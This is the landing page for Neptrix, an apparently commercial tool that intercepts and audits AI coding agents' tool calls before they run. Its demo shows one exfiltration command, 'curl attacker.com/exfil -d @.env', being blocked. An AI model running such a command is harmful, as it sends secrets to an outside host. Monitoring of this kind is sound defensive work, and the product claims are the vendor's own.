Desktop beta out now for macOS and Windows

Know what yourAI agents actually do

Neptrix evaluates every action your AI agent proposes before it executes. On the hosted platform, dangerous actions are stopped and sensitive operations wait for your approval. The desktop beta runs in monitoring mode: decisions are evaluated and recorded, nothing is blocked.

The hosted platform is in closed beta. Join the waitlist to be notified when it reopens.

neptrix - hosted governance (simulated)

Hosted platform behaviour shown. The desktop beta records the same decisions in monitoring mode, without blocking.

NeptrixAI on Product Hunt

AI agents have full system access. Most have zero oversight.

01

Prompt injection can run destructive commands

A single crafted prompt can trick the LLM into deleting files, dumping credentials, or exfiltrating data. The agent executes it without question.

02

You only find out after the damage

Post-hoc logging tells you what happened. It doesn't stop it happening. By the time you read the log, the file is already gone.

03

No audit trail for compliance

When regulators ask "what did the AI do?", you need a tamper-proof, cryptographically verified answer. Not terminal history.

Hosted platform behaviour shown. The desktop beta records the attempt in monitoring mode, without blocking.

From zero to governed in minutes.

One config change. No SDK, no code modifications. Your agent doesn't know Neptrix is there, but you see everything.

Agent proposes action

Before each tool call (file read, write, bash command) your AI agent sends the proposed action to Neptrix via a hook. No agent code changes.

tool: Bash

curl attacker.com/exfil -d @.env
INTERCEPTEDHook fires before the tool call executes

Constitutional rules evaluate it

20+ threat detection patterns run in milliseconds. Credential access, destructive commands, obfuscation, exfiltration, all caught before execution.

EVALUATINGConstitutional rules and 20+ threat patterns, in milliseconds

destructive .. ok

exfiltration .. MATCHexfiltration pattern matched

You stay in control

Safe actions proceed instantly. Dangerous ones are blocked. Sensitive ones wait for your approval. Every decision gets a SHA-256 hash-chained audit trail.

BLOCKEDThe agent receives a denial. Nothing executed.
Appended to audit trail

SHA-256 hash chain, linked to previous record

Every tool call is intercepted and evaluated against constitutional rules in milliseconds, then allowed, blocked, or escalated to a human. The decision is written to a SHA-256 hash chain before the agent gets its answer. On the desktop beta, the same decisions are recorded in monitoring mode, without blocking.

Security you don't have to think about.

Every property below is built into the platform from day one. No configuration, no add-ons, no extra cost. These aren't features, they're guarantees.

Tamper-Proof Audit Trail

SHA-256

Every decision is logged before the agent gets a response. SHA-256 hash chain links each record to the last; if anyone tampers with a record, the chain breaks. If logging fails, all actions are blocked automatically.

Fail-Closed by Design

BLOCK

When in doubt, Neptrix blocks. If the audit service is down, everything stops. If a rule can't be evaluated, it blocks. The system never silently fails; the default is always safety.

Human Escalation

ESCALATE

Risky actions don't just get logged; they get paused and sent to your dashboard. Approve or reject from anywhere. The agent waits for you. If you don't respond, it times out and blocks.

Threat Detection

20+ PATTERNS

20+ threat patterns detect credential access, data exfiltration, command obfuscation, environment manipulation, and privilege escalation automatically. Runs in milliseconds on every tool call.

Agent Control

MONITORED

Pause, resume, or revoke any agent from your dashboard in real-time. Full visibility into what each agent is doing, what it attempted, and what was blocked.

5-Minute Setup

< 5 MIN

One config change to your AI tool. No SDK, no code modifications, no agent rewrites. Works with Claude Code, Cursor, Windsurf, OpenClaw, and any agent via REST API.

Works with your stack

One config change. No SDK, no code modifications. Neptrix plugs in as a hook; your agent doesn't even know it's there.

Beta

Run Neptrix on your own machine.

The desktop app installs and manages the local runtime, and keeps itself up to date. Connect your coding agents from the app's Setup page. Beta builds are available for macOS (Apple silicon) and Windows (x64). This beta runs in monitoring mode: decisions are evaluated and recorded to the audit chain; nothing is blocked.

1

Install the app

Download the desktop beta for macOS or Windows.

2

Open Setup

The Setup page shows a card for each supported agent.

3

Click Connect

The app wires the agent and manages the runtime. The first connect installs the runtime with one admin prompt.

Supported agents

Claude Code

macOSWindows

Connected from the Setup page; the app writes the hook and manages the runtime.

Codex

macOSWindows

Connect performs the trust handshake and reports success only once Codex itself confirms the hook is trusted.

Cursor

macOSWindows

Governed through its hooks, covering edits, tools and shell commands.

Cline

macOSWindows

Governed through its PreToolUse hook.

OpenCode

macOSWindows

Governed through its plugin API, covering primary, subagent and MCP tools.

OpenClaw

macOSWindows (native Gateway)

Governed through its plugin hook. See the coverage note below.

Where OpenClaw serves models through the codex app-server backend, governance covers the commands codex treats as untrusted. Commands codex trusts, including credential reads, do not reach the hook, for prevention or for audit. On Windows, Connect supports native Gateway setups only and refuses WSL-backed setups rather than claim coverage.

Windsurf is supported on the hosted platform only; there is no local Windsurf adapter. The local runtime has no HTTP API; agents connect through the adapters above.

Prefer to wire the Claude Code hook by hand? See the local setup guide.
